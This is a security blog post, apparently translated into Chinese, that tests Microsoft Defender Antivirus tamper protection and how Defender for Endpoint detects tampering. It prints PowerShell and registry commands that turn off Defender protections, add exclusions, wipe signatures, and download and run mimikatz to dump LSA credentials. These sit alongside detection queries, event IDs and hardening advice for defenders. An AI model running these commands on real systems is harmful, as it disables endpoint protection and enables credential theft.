在本文中,我探讨了Microsoft Defender 防病毒 (MDAV)篡改保护功能的限制,该功能仅使用本机配置更改,使用任何具有管理权限的用户都可用的机制。所以我不会使用任何 AV 绕过,如沙盒、令牌窃取或类似的东西。
此外,我还记录了Microsoft Defender for Endpoint的内置检测功能,以向您展示您的环境中可以预期的警报。
当然,我还包括了在使用其他 EDR 或 SIEM 解决方案时检测此类操作所需的所有信息。
篡改保护是 Microsoft Defender 防病毒软件的一项高级功能,可防止不良行为者和系统管理员更改重要设置或关闭 MDAV 检测功能。[目前应防止](https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/prevent-changes-to-security-settings-with-tamper-protection?view=o365-worldwide#:~:text=Disabling virus and,on detected threats)以下配置更改。
自 2022 年 1 月起,以下平台支持此功能
此外,设备必须载入 Microsoft Defender for Endpoint,必须启用云提供的保护,并且反恶意软件平台版本必须等于或更高4.18.2010.7
。
笔记
篡改保护也可通过 GUI用于消费版本。
当我开始这篇文章时,Windows Server 2012 R2 还不支持。但微软在2021 年 10 月上旬通过新的现代统一解决方案包增加了对它的支持。这是 Windows Server 2012 R2 和 Windows Server 2016 的更新代理版本,可将许多功能向后移植到这些操作系统。
截至 2022 年 2 月,此代理仍处于预览状态,但我向所有询问的人推荐它。由于额外的操作系统和功能支持,我重写了这篇文章,并在 Windows Server 2012 R2 和 Windows Server 2016 上使用新代理重复了我的测试,以确保最新的保护到位。如果您仍在使用旧的基于 MMA 的代理,则其中一些可能不适用于您的设置。
在测试之前,所有系统都已加入 Microsoft Defender for Endpoint。
我所有的测试都是在启用篡改保护和最新版本的产品的情况下完成的。
]
启用篡改保护
# Current Defender AV versions Get-MpComputerStatus | Select AMEngineVersion, AMProductVersion # Current Defender for Endpoint versions (Get-Command 'C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe').FileVersionInfo.FileVersion
我测试了两种不同的方法来更改 Microsoft Defender 防病毒软件的配置。在我的第一次尝试中,我使用了 Microsoft 提供的本机 PowerShell cmdlet 和工具:Set-MpPreference
和MpCmdRun.exe
.
在第二次尝试中,我使用了我在博客文章“创建持久的 Defender AV 排除和规避 Defender for Endpoint detection ”中详细描述的方法。简而言之,我模仿一个本地组策略,在下面创建必要的注册表值HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender
,只要没有其他组策略到位,MDAV 就会应用这些设置。
由于我发表了博文,微软添加了额外的检测功能 MDE,所以我对发生的事情非常感兴趣。
为了使测试易于重现,我创建了两个脚本,每个方法一个。你可以下载这些脚本
这些脚本在更改任何设置之前会清除以下事件日志。
在每个脚本结束时,将导出事件日志以供分析。
每次更改之间有 60 秒的等待时间。这使得梳理日志变得更容易。
也就是说,重要的是要知道下一节中描述的每个配置设置都将使用这两种方法进行测试。
让我们看看我测试了哪些设置。
我尝试禁用的前几个设置如下
禁用这些设置中的任何一项都会降低 MDAV 的检测能力并可能延迟检测。
Set-MpPreference -DisableIOAVProtection $true -DisableEmailScanning $true -DisableBlockAtFirstSeen $true
# 1.1 Disable virus and threat protection features New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name 'Real-Time Protection' -Force -ErrorAction 0 New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name DisableIOAVProtection -Value 1 -PropertyType DWord -Force New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name 'Scan' -Force -ErrorAction 0 New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" -Name DisableEmailScanning -Value 1 -PropertyType DWord -Force New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name 'Spynet' -Force -ErrorAction 0 New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" -Name DisableBlockAtFirstSeen -Value 1 -PropertyType DWord -Force
此设置将完全禁用对 MDAV 的实时监控,这基本上阻止了除计划扫描之外的所有未来恶意软件检测。
Set-MpPreference -DisableRealtimeMonitoring $true
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name 'Real-Time Protection' -Force -ErrorAction 0 New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name DisableRealtimeMonitoring -Value 1 -PropertyType DWord -Force
当禁用行为监控时,微软下一代保护的另一层行为阻止和遏制变得盲目或无法正常运行。
Set-MpPreference -DisableBehaviorMonitoring $true
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name 'DisableBehaviorMonitoring' -Force -ErrorAction 0 New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\DisableBehaviorMonitoring" -Name DisableBehaviorMonitoring -Value 1 -PropertyType DWord -Force
云提供的保护基于 Microsoft Intelligent Security Graph,启用后,有助于识别本地签名中尚不存在的威胁。
Set-MpPreference -MAPSReporting 0
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name 'Spynet' -Force -ErrorAction 0 New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" -Name SpynetReporting -Value 0 -PropertyType DWord -Force
信息
此设置不受篡改保护的正式保护
此设置针对您不希望每个客户端自行下载签名的VDI 环境。该配置允许您将签名下载并分发到文件共享一次,每个客户端都将从该位置获取它们。
当该值设置为空值或错误值时,客户端无法从此路径更新其签名。但是,他们没有回退到 Microsoft Update 或任何其他定义的方法,他们根本什么都不做。启动 cmdlet 时可以测量差异。实施旁路后,只需一秒钟即可完成。通常这需要几秒钟,因为引擎必须比较签名。
更糟糕的是,没有迹象表明签名更新失败。既不在活动会话中,也不在事件日志中。
]哇,启用了更快的签名更新...
我使用此功能进行了重复测试。
Set-MpPreference -SharedSignaturesPath "-"
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name 'Signature Updates' -Force -ErrorAction 0 New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" -Name SharedSignatureRoot -Value "" -PropertyType String -Force
信息
此设置不受篡改保护的正式保护
排除是逃避检测的最常见方法之一。目前,它们不受篡改保护的保护。很可能是这种情况,因为许多企业将排除项用作其正常配置的一部分。由于这些配置更改在大多数情况下是通过组策略分发到服务器的,因此 Microsoft 无法阻止它们。目前没有办法区分有效和恶意更改。
对于这个测试,我为一个文件夹创建了一个排除项,稍后在检测测试中使用。
Set-MpPreference -ExclusionPath "C:\AVTest"
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions" -Name 'Paths' -Force -ErrorAction 0 New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions" -Name Exclusions_Paths -Value 1 -PropertyType DWord -Force New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" -Name "C:\AVTest" -Value 0 -PropertyType String -Force
每个威胁都有不同的威胁严重性或警报级别。根据此严重性,您可以更改响应的默认行为。
有效的威胁警报级别为:
有效的补救措施值为:
如果您将补救措施的值更改为 6(忽略),则无论是否检测到威胁,都不会采取任何措施。
26.01.2022 的广告威胁目录中有 221092 个威胁。Get-MpThreatCatalog
可以使用cmdlet分析基于严重性的分布。
Get-MpThreatCatalog | Group-Object SeverityID -NoElement | Format-Table -AutoSize
名称 | 数数 |
---|---|
高的 | 4671 |
严重 | 213060 |
中等的 | 392 |
低的 | 2968 |
未知 | 1 |
笔记
严重级别为“未知”(0) 的一个威胁称为“未知”,属于“SPP”类别。
# The PowerShell cmdlet uses Allow instead of Ignore Set-MpPreference -UnknownThreatDefaultAction Allow -LowThreatDefaultAction Allow -HighThreatDefaultAction Allow -ModerateThreatDefaultAction Allow -SevereThreatDefaultAction Allow
New-Item -Path "HKLM:SOFTWARE\Policies\Microsoft\Windows Defender\Threats\" -Name 'ThreatSeverityDefaultAction' -Force -ErrorAction 0 New-ItemProperty -Path "HKLM:SOFTWARE\Policies\Microsoft\Windows Defender\Threats\" -Name 'Threats_ThreatSeverityDefaultAction' -Value 1 -PropertyType DWord -Force 1,2,4,5 | ForEach-Object { # Value 6 = Ignore New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" -Name $_ -Value 6 -PropertyType String -Force }
信息
此设置不受篡改保护的正式保护
这些设置旨在仅针对特定威胁更改行为。您可以定义威胁 ID 以及应采取的操作。必须将操作指定为以下可能值之一。
Action 6 (Allow) 是你的朋友,我将它用于威胁 id 2147519003 (Virus:DOS/EICAR_Test_File) 和 2147717805 (EUS:Win32/CustomEnterpriseBlock)。前者是允许 EICAR 测试文件在系统上随处可见,后者与 Microsoft Defender for Endpoint 检测功能有关。我将在以后的博客文章中更深入地讨论这个问题。
笔记
我联系了微软以澄清这是否不应该成为当前实施的一部分,但无法及时得到反馈。
Set-MpPreference -ThreatIDDefaultAction_Actions @(6,6) -ThreatIDDefaultAction_Ids @(2147519003,2147717805)
New-Item -Path "HKLM:SOFTWARE\Policies\Microsoft\Windows Defender\Threats\" -Name 'ThreatIdDefaultAction' -Force -ErrorAction 0 New-ItemProperty -Path "HKLM:SOFTWARE\Policies\Microsoft\Windows Defender\Threats\" -Name 'Threats_ThreatIdDefaultAction' -Value 1 -PropertyType DWord -Force New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIdDefaultAction" -Name "2147519003" -Value 6 -PropertyType String -Force New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIdDefaultAction" -Name "2147717805" -Value 6 -PropertyType String -Force
此方法会从设备中删除所有已安装的 AV 签名,并使其几乎失明。与签名绕过技巧相结合,不会安装新的签名。
& "$ENV:ProgramFiles\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
应用所有配置更改后,我创建了 EICAR 标准反病毒测试文件的两个实例,启动手动 AV 扫描并读取文件内容。
第一个是在从 AV 检测中排除的文件夹中创建的。这个不应该被检测到,因为排除路径不受篡改保护的保护。
第二个文件是在另一个未从 AV 检测中排除的文件夹中创建的。但由于我明确排除了 EICAR 的威胁 ID,因此不应检测/采取行动。
$Paths = @("C:\AVTest\", "C:\AVTest2\") foreach ($Path in $Paths) { New-Item -Type Directory -Path $Path -EA 0 Set-Location $Path Write-Output 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > eicartest.file Start-MpScan -ScanType CustomScan -ScanPath $Path Get-Content .\eicartest.file }
作为最后一个测试,我从 GitHub 下载mimikatz,将 zip 文件解压缩到排除 AV 的文件夹并转储哈希。
AV 引擎不应阻止此操作,因为可执行文件位于排除的文件夹中,但 Microsoft Defender for Endpoint 可能仍会检测到它。
$ProgressPreference = "SilentlyContinue" [Net.ServicePointManager]::SecurityProtocol = ([Net.ServicePointManager]::SecurityProtocol -bor [Net.SecurityProtocolType]::Tls12) Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20210810-2/mimikatz_trunk.zip" -OutFile "mimikatz.zip" Unblock-File "mimikatz.zip" Expand-Archive -Path "mimikatz.zip" -DestinationPath . # Execute mimikatz .\x64\mimikatz.exe "lsadump::lsa" "exit" # Scan folder Start-MpScan -ScanType CustomScan -ScanPath $Path
为了清理所做的任何更改,我使用以下脚本。
rm "C:\AVTest\*" -Recurse -Force rm "C:\AVTest2\*" -Recurse -Force Remove-MpPreference -DisableIOAVProtection -DisableEmailScanning -DisableBlockAtFirstSeen -DisableRealtimeMonitoring -MAPSReporting -SharedSignaturesPath -UnknownThreatDefaultAction -LowThreatDefaultAction -HighThreatDefaultAction -ModerateThreatDefaultAction -SevereThreatDefaultAction Remove-MpPreference -ExclusionPath "C:\AVTest" Remove-MpPreference -ThreatIDDefaultAction_Actions @(6,6) -ThreatIDDefaultAction_Ids @(2147519003,2147717805) # More on this one later Remove-MpPreference -ThreatIDDefaultAction_Actions @(1) -ThreatIDDefaultAction_Ids @(1) Update-MpSignature -UpdateSource MicrosoftUpdateServer
rm "C:\AVTest\*" -Recurse -Force rm "C:\AVTest2\*" -Recurse -Force Remove-Item -Path "HKLM:SOFTWARE\Policies\Microsoft\Windows Defender" -Force -Recurse -EA 0 gpupdate /force Update-MpSignature -UpdateSource MicrosoftUpdateServer
无论采用何种方法,篡改保护都阻止了许多尝试的配置更改。使用的命令没有返回任何错误消息,但就像命令已成功执行一样。从攻击者的角度来看,这更容易被发现,因为您必须仔细检查您的更改是否按预期应用。
]PowerShell 脚本输出
一个例外是以MpCmdRun.exe -RemoveDefinitions -All
以下错误消息结束。
警告
启动引擎和签名回滚到无...失败!错误 0x80070005
]MpCmdRun.exe -RemoveDefinitions -All
正如预期的那样,EICAR 测试文件在这两种情况下都已创建并成功读取,并且在没有任何干预的情况下执行了 mimikatz。
]EICAR 测试文件和 Mimikatz 执行
Get-MpPreference
执行脚本后,仅使用以下设置查看运行配置。其他一切都没有改变,因为篡改保护介入了。
查看 Microsoft 的防篡改声明,应防止以下情况:
DisableIOAVProtection 和 DisableBlockAtFirstSeen 按预期被阻止。
由于某些奇怪的原因,DisableEmailScanning 不受保护,攻击者目前可以禁用此功能。由于大多数公司甚至在将消息传递给最终用户之前就使用了Microsoft Defender for Office 365等反垃圾邮件和反恶意软件引擎,因此这并不是最大的影响。
但是,我仍然希望看到这个财产也受到保护。
查看运行配置时,ThreatDefaultAction 值已更改,因此“禁用对检测到的威胁的自动操作”失败了吗?
让我们仔细看看。Get-MpPreference
报告说这些值现在不同了,但是检查相应的注册表设置会告诉另一个故事。仅创建一个值对。
]更改了 ThreatDefaultAction 注册表值
这适用于威胁严重性 0(未知)。有趣的是,微软让您通过他们自己的 cmdlet 设置此设置,但另一方面,admx 文件仅将值 1、2、4、5 列为有效值。
]事件日志条目
正如您在事件日志中看到的那样,有四个关于阻止更改的条目,一个条目告诉您发生了一些变化。
]事件日志详细视图
似乎由于 0(未知)不是有效配置,开发人员并没有费心为其实施篡改保护。
为了确保我手动检查了这个。我更改了 ThreatDefaultAction 值并创建了一个 EICAR 文件。并且 Microsoft Defender 防病毒软件忽略了错误显示的值并删除了测试文件。所以毕竟这要么是摆脱攻击者的聪明技巧,要么是某种显示错误。篡改保护仍然完好无损。
]操作未成功完成,因为该文件包含病毒或可能不需要的软件。
让我们看看在 Microsoft Defender 防病毒、事件日志和 Microsoft Defender for Endpoint 中检测到的内容。
如果检测仅对其中一种攻击方法有效,我将分别提到这一点。
如果没有另外提及,所有操作系统版本的检测都是相同的。
Microsoft Defender 防病毒软件无法识别任何威胁。这是意料之中的,因为我对文件夹排除和威胁处理所做的更改应该会导致这种行为。
我导出了事件日志应用程序、系统、安全、“Windows Defender/Operational”和“Windows Defender/WHC”。
对于这个用例,“Windows Defender/Operational”是唯一包含有趣和可操作信息的日志。
当你使用 Microsoft Defender for Endpoint 以外的任何 EDR 解决方案时,以下事件 Id 对你来说很有趣。您绝对应该监控这些事件 ID,以便您可以创建警报。
如果配置成功更改,则会触发此事件。您可以从此事件中提取旧值和新值,以发出仅在设置某些值时触发的警报。
日志名称 | Microsoft-Windows-Windows Defender/Operational |
来源 | Windows Defender的 |
事件ID | [5007](https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide#:~:text=Configuration%3A-,Event ID%3A 5007,-Symbolic name%3A) |
事件数据 | 反恶意软件平台配置已更改。Microsoft Defender 防病毒配置已更改。如果这是意外事件,您应该检查设置,因为这可能是恶意软件的结果。旧值:旧的防病毒配置值。新值:新的防病毒配置值。 |
]事件 ID 5007 - 反恶意软件平台配置已更改
此事件在尝试更改但被篡改保护阻止时触发。
日志名称 | Microsoft-Windows-Windows Defender/Operational |
来源 | Windows Defender的 |
事件ID | [5013](https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide#:~:text=viruses is disabled.-,Event ID%3A 5013,-Symbolic name%3A) |
事件数据 | 篡改保护阻止了对 Microsoft Defender 防病毒的更改。 |
]事件 ID 5013 - 篡改保护阻止了对 Microsoft Defender 防病毒的更改
如果要检查当前连接的系统,可以使用 PowerShell 过滤这些事件。
Get-WinEvent -FilterHashtable @{logname = 'Microsoft-Windows-Windows Defender/Operational'; id = @(5007,5013)} | fl TimeCreated, Message
使用方法 1 运行脚本时触发以下警报。
]使用 Set-MpPreference 时的 MDE 警报
如您所见,mimikatz 的执行远非无声,即使它没有被 AV 引擎阻止。
此外,已使用 RDP 会话的警报会在每台服务器上触发“可疑 RDP 会话”警报。
警告
在此设备中检测到多个可疑 RDP 会话活动的组合。攻击者可能试图通过使用各种侦察和持久性方法在环境中建立立足点,然后通过篡改和关闭安全功能来逃避检测以完成其目标。
在 Windows Server 2012 R2 机器上,还有一个额外的警报“事件日志已清除”
使用 PowerShell 在策略注册表项中创建注册表值的噪音要大得多,并会导致额外的警报。正如您在屏幕截图中看到的,方法 1 中的所有警报均已引发,但除此之外,还触发了九个“尝试关闭 Microsoft Defender 防病毒保护”警报。
]修改策略注册表项时的 MDE 警报
在更详细地分析警报时,很明显,对于 DisableIOAVProtection、DisableRealtimeMonitoring 和 SpynetReporting 的每次更改都会引发单独的警报。
]MDE 警报进程树
这种额外的检测让我很高兴,因为这意味着微软不仅将这些注册表值添加到他们的监控中,而且还创建了智能规则来检测未经授权的进程何时对这些更改负责。这正是我在之前关于这个问题的博文中提出的。
在每台服务器的 Microsoft Defender for Endpoint 时间线中,检测到了我所做的更改尝试。
虽然 Windows Server 2016 和 Windows Server 2019 的结果完全相同……
MDE 时间线 - 清除 Windows 2016 + 2019 上的事件日志
... 在 Windows Server 2012 R2 服务器上,有额外的警报,并且演示更紧凑。
MDE 时间线 - 清除 Windows 2012 R2 上的事件日志
在所有系统上,都检测到篡改配置的尝试并在时间线中报告。报告和做出的唯一更改是创建 AV 排除项。
]MDE 时间线 - 篡改保护事件
]MDE 时间线 - DisableRealTimeMonitoring
这是已报告的篡改尝试的完整列表。
它没有捕捉到对SharedSignatureRoot
,DisableEmailScanning
和的更改ThreatIdDefaultAction
。
MpCmdRun.exe
用于尝试删除签名的执行被捕获。
]MDE 时间线 - MpCmdRun.exe
在此事件的详细视图中,您可以看到使用的参数。
]MDE 时间线 - MpCmdRun.exe -RemoveDefinitions -All
还缺少的是 EICAR 测试文件的创建。我在日志中没有发现任何痕迹。
至于mimikatz。到处都有活动。从从 GitHub 下载文件,到执行和检测,一切都记录在案。
]MDE 时间线 - 从 GitHub 下载 mimikatz
]MDE 时间线 - mimikatz 的警报执行
大多数检测是完全相同的,所以这里是不同之处。
由于我设置值的方法不同,在这种情况下,我们会看到一堆注册表事件Policies
。
]MDE 时间线 - 设置注册表值
您可能已经发现,所有变化之间都是TamperingAttempt
事件。删除过滤器时,您还可以看到为这些尝试生成的警报。
]MDE 时间线 - powershell.exe 对注册表更改发出警报
还记录了 AV 排除的添加。
]MDE 时间线 - 创建了 AV 排除项
eicartest.file
在这种情况下,和以前一样,没有列出上的读/写活动。
所有提到的事件也可以使用高级搜索访问,并可用于在 Microsoft Defender for Endpoint 中创建自定义检测。我不会详细介绍 mimikatz 的执行或 EICAR 测试文件的创建,但会继续讨论防篡改事件。
对于方法 1 和方法 2,我必须使用不同的查询,因为不同的方法写入注册表的不同部分。
DeviceRegistryEvents | where RegistryKey startswith @"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender" | sort by Timestamp
仅监视对注册表的一项更改。这主要是因为没有进行其他更改。篡改保护可防止任何更改,因此无需监控。
]高级狩猎 - RegistryValueSet AV 排除
可以找到的 on 更改是Exclusions_Paths
注册表值的更改。但正如在时间线上一样,以下更改的注册表值根本没有被注册或监控
RegistryValueSet
值 0 的事件是无效的,所有其他事件都在被篡改保护阻止的情况下写入第二种方法更改注册表项中的注册表值Policies
。这些注册表项不受篡改保护的保护,但由于它们只是 MDAV 的一种可能配置源,因此只要篡改保护处于活动状态,就不会影响活动配置。
DeviceRegistryEvents | where RegistryKey startswith @"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" | sort by Timestamp
这就是为什么您可以看到许多成功RegistryValueSet
事件的原因。与方法 1 的情况一样,Microsoft 似乎没有监视以下注册表值。
]高级搜索 - RegistryValueSet 策略
方法 1 和 2 的结果是相同的:运行配置的最重要部分受到保护,写入的受保护值不会更改。
要寻找删除 AV 定义的尝试,您可以搜索DeviceProcessEvents
进程表并过滤是否ProcessCommandLine
包含“RemoveDefinitions”。
DeviceProcessEvents | where FolderPath == @"C:\Program Files\Windows Defender\MpCmdRun.exe" | where ProcessCommandLine has "RemoveDefinitions" | project-reorder Timestamp, DeviceName, ActionType, FolderPath, InitiatingProcessAccountName, InitiatingProcessCommandLine
高级狩猎有额外的信息供您采取行动。DeviceEvents 表中有一个 ActionType TamperingAttempt
,当被查询时,您可以看到篡改保护在哪里发挥了作用。
DeviceEvents | where ActionType contains "TamperingAttempt" | where Timestamp between (datetime(2022-01-26T17:10:00.000Z) .. datetime(2022-01-26T17:35:00.439Z)) | extend AdditionalFields = todynamic(AdditionalFields) | extend TamperingAction = tostring(AdditionalFields.['TamperingAction']) | extend Status = tostring(AdditionalFields.['Status']) | extend Target = tostring(AdditionalFields.['Target']) | extend TargetProperty = replace_regex(Target,@"(.*)\\(.*)",@"\2") | extend OriginalValue = tostring(AdditionalFields.['OriginalValue']) | extend TamperingAttemptedValue = tostring(AdditionalFields.['TamperingAttemptedValue']) | extend TargetProperty = iff( ( TargetProperty matches regex @"\d" ), strcat("ThreatSeverityDefaultAction-",TargetProperty), TargetProperty) | project Timestamp, DeviceName, TamperingAction, Status, TargetProperty, OriginalValue, TamperingAttemptedValue,InitiatingProcessCommandLine,InitiatingProcessAccountName,InitiatingProcessAccountSid,ReportId | sort by Timestamp
上面的查询将生成所有阻止更改注册表值的尝试的完整列表。对于所有设备,您不仅可以查看应该更改哪个值,还可以查看原始值和负责更改的过程。由于某些附加信息只能通过该AdditionalFields
列访问,因此您必须更加努力地获得它。
在这篇博文的自定义警报部分,我包含了这个查询的更高级版本。此查询允许您直接警告严重的篡改尝试,同时排除使用 Endpoint Configuration Manager (SCCM) 或 GPO 管理环境时可能引入的噪音。
成功记录的所有阻止更改。
]高级狩猎 - 篡改尝试
使用该方法的结果完全相同。在所有三个设备上,对注册表值的修改都被阻止。
]
高级狩猎 - 篡改尝试摘要
]高级狩猎 - 详细信息
两种方法的一个主要区别是InitiatingProcessCommandLine
,InitiatingProcessAccountName
和Status
在方法 1 中,InitiatingProcessCommandLine
它wmiprvse.exe -secured -Embedding
在powershell.exe
方法 2 中。
InitiatingProcessAccountName
是S-1-5-19 (local service)
或使用方法 2 更改值的用户。
Status
要么Blocked
要么Ignored
。使用 GPO 对 MDAV 所做的更改不会被阻止,而是会被忽略。此行为已[记录在案](https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/prevent-changes-to-security-settings-with-tamper-protection?view=o365-worldwide#:~:text=Changes made to Microsoft Defender Antivirus settings are ignored when tamper protection is on.)。
组策略不适用于篡改保护。打开篡改保护时,对 Microsoft Defender 防病毒设置所做的更改将被忽略。
即使它不是测试的一部分,通过以下 KQL 查询,您也可以检测到安全日志的清除。
DeviceEvents | where ActionType == "SecurityLogCleared"
这是 Microsoft Defender for Endpoint 检测结果的完整列表。
Microsoft tweeks 根据他们拥有的所有数据创建警报,您可能不会总是在预期的位置看到警报,因为应用的过滤器和逻辑会阻止创建。另请记住,篡改保护可防止对系统进行任何可能导致禁用 MDAV 的更改。如果您喜欢在您的环境中这样做,请查看此博客文章的自定义警报部分以添加更详细的警报。
笔记
由于 Microsoft 作为大多数托管 EDR 解决方案提供商,不发布他们的警报逻辑,因此该表仅在我创建它的日期有效。Microsoft 可能会在以后为任何这些事件添加警报。
测试编号 | 类别 | 描述 | 警报 | TL | 进阶H |
---|---|---|---|---|---|
1 | 使用 Set-MpPreference | ||||
1.1 | MDAV | 禁用病毒和威胁防护功能 | 不 | 是的 | 是的 |
1.2 | MDAV | 禁用实时保护 | 不 | 是的 | 是的 |
1.3 | MDAV | 关闭行为监控 | 不 | 是的 | 是的 |
1.4 | MDAV | 禁用云提供的保护 | 不 | 是的 | 是的 |
1.5 | MDAV | 禁用签名更新 | 不 | 不 | 不 |
1.6 | MDAV | 添加排除路径 | 不 | 是的 | 是的 |
1.7 | MDAV | 禁用对检测到的威胁的自动操作 | 不 | 是的 | 是的 |
1.8 | MDAV | 更改特定恶意软件的默认操作 | 不 | 不 | 不 |
1.9 | MDAV | 删除安全情报更新 | 不 | 是的 | 是的 |
1.10 | MDAV | 读取 EICAR 测试文件 | 不 | 不 | 不 |
1.11 | MDAV | 执行 mimikatz | 是的 | 是的 | 是的 |
2 | 使用注册表修改本地策略 | ||||
2.1 | MDAV | 禁用病毒和威胁防护功能 | 是的 | 是的 | 是的 |
2.2 | MDAV | 禁用实时保护 | 是的 | 是的 | 是的 |
2.3 | MDAV | 关闭行为监控 | 不 | 是的 | 是的 |
2.4 | MDAV | 禁用云提供的保护 | 是的 | 是的 | 是的 |
2.5 | MDAV | 禁用签名更新 | 不 | 不 | 不 |
2.6 | MDAV | 添加排除路径 | 不 | 是的 | 是的 |
2.7 | MDAV | 禁用对检测到的威胁的自动操作 | 不 | 是的 | 是的 |
2.8 | MDAV | 更改特定恶意软件的默认操作 | 不 | 不 | 不 |
2.9 | MDAV | 删除安全情报更新 | 不 | 是的 | 是的 |
2.10 | MDAV | 读取 EICAR 测试文件 | 不 | 不 | 不 |
2.11 | MDAV | 执行 mimikatz | 是的 | 是的 | 是的 |
关于检测的部分到此结束。
篡改保护可为任何企业提供出色的额外保护。所有宣传的保护措施都按预期工作。
该技术的限制是当前受保护设置的范围。以下设置仍然可以篡改威胁或签名更新的检测,但不在篡改保护的范围内。
但是您可以实施一些简单的缓解技术,因此在 Microsoft 将篡改保护扩展到更多设置之前,这些攻击媒介将被关闭。
如果您使用 Intune 管理您的 Windows 客户端终结点,请将以下设置在您的安全基线中[禁用本地管理员合并](https://docs.microsoft.com/en-us/mem/intune/protect/antivirus-microsoft-defender-settings-windows#:~:text=Defender local admin merge)Yes
更改为。
]
禁用本地管理员合并
在当前无法使用组策略的 Windows 服务器上,因此您必须将设置设置Configure local administrator merge behavior for lists
为Disabled
. 这将阻止任何本地更改并仅强制执行来自组策略的更改。
]
为列表配置本地管理员合并行为
遗憾的是,此设置不是最新的Windows 安全基线(MSFT Windows Server 2022 - Defender Antivirus)、CIS Microsoft Windows Server 2019 Benchmark v1.2.1或MS Windows Defender Antivirus 安全技术实施指南中的建议。许多企业将其安全基线设置基于这些文档中提出的建议,并且将忽略/不配置其他设置。
将“为 VDI 客户端定义安全智能位置”设置设置为Disabled
您的安全基线。
]
为 VDI 客户端定义安全情报位置
Intune:防御者/安全情报位置
要缓解此攻击向量,您必须在安全基线中禁用“指定检测到时不应采取默认操作的威胁”配置选项。
]
指定在检测到威胁时不应对其采取默认操作的威胁
警告
此设置当前不是使用 Intune 可用的配置选项。
Microsoft 正在积极添加防篡改功能,例如,针对检测到的威胁的自动操作保护已于2021 年 12 月发布。
因此,微软很有可能会在新版本的 AV 引擎中添加缺失的保护功能并缩小差距。
除了通过配置设置进行强化之外,我还鼓励您实施额外的警报。由于 Microsoft Defender for Endpoint 不会对篡改尝试发出警报,Microsoft 已向我确认他们正在处理的事情,因此您应该同时创建自己的警报。您始终可以使用高级搜索查询来创建自定义检测规则并在您的环境中创建更详细的警报。
为这个简单的高级搜索规则创建自定义检测,每次有人试图篡改已安装的安全情报更新时,您都会收到警报。
DeviceProcessEvents | where FolderPath == @"C:\Program Files\Windows Defender\MpCmdRun.exe" | where ProcessCommandLine has "RemoveDefinitions" | project-reorder Timestamp, DeviceName, ActionType, FolderPath, InitiatingProcessAccountName, InitiatingProcessCommandLine
Microsoft Defender for Endpoint 将通过“更新 Microsoft Defender 防病毒定义”建议报告过时的 AV 定义。我目前不知道有任何高级搜索查询来检查签名更新是否成功。
以下高级搜寻查询是本博文前面的查询的更高级版本。
它报告以下条件下的所有篡改尝试
Disable
目标值为1
,这将导致禁用某个功能SpynetReporting
更改为 0ThreatSeverityDefaultAction
并且试图进行更改的进程既不是C:\Windows\System32\svchost.exe -k GPSvcGroup
,C:\Windows\System32\svchost.exe -k netsvcs -p -s gpsvc
或者C:\Windows\CCM\CcmExec.exe
此逻辑是必要的,因为 SCCM 和组策略基线可能会尝试应用您的安全基线,这会触发您环境中每个设备的警报。而且您不应该从基线中删除这些设置,因为它们对于尚未启用篡改保护的任何客户端都很重要。
使用此查询逻辑将防止不必要的警报。
// Detect tampering attempts on devices
// Written by Fabian Bader 01/2022
DeviceEvents
| where ActionType contains "TamperingAttempt"
| extend AdditionalFields = todynamic(AdditionalFields)
| extend TamperingAction = tostring(AdditionalFields.['TamperingAction'])
| extend Status = tostring(AdditionalFields.['Status'])
| extend Target = tostring(AdditionalFields.['Target'])
| extend TargetProperty = replace_regex(Target,@"(.*)\\(.*)",@"\2")
| extend OriginalValue = tostring(AdditionalFields.['OriginalValue'])
| extend TamperingAttemptedValue = tostring(AdditionalFields.['TamperingAttemptedValue'])
// For ThreatSeverityDefaultAction ignore changes made by GPO or Endpoint configuration manager (SCCM)
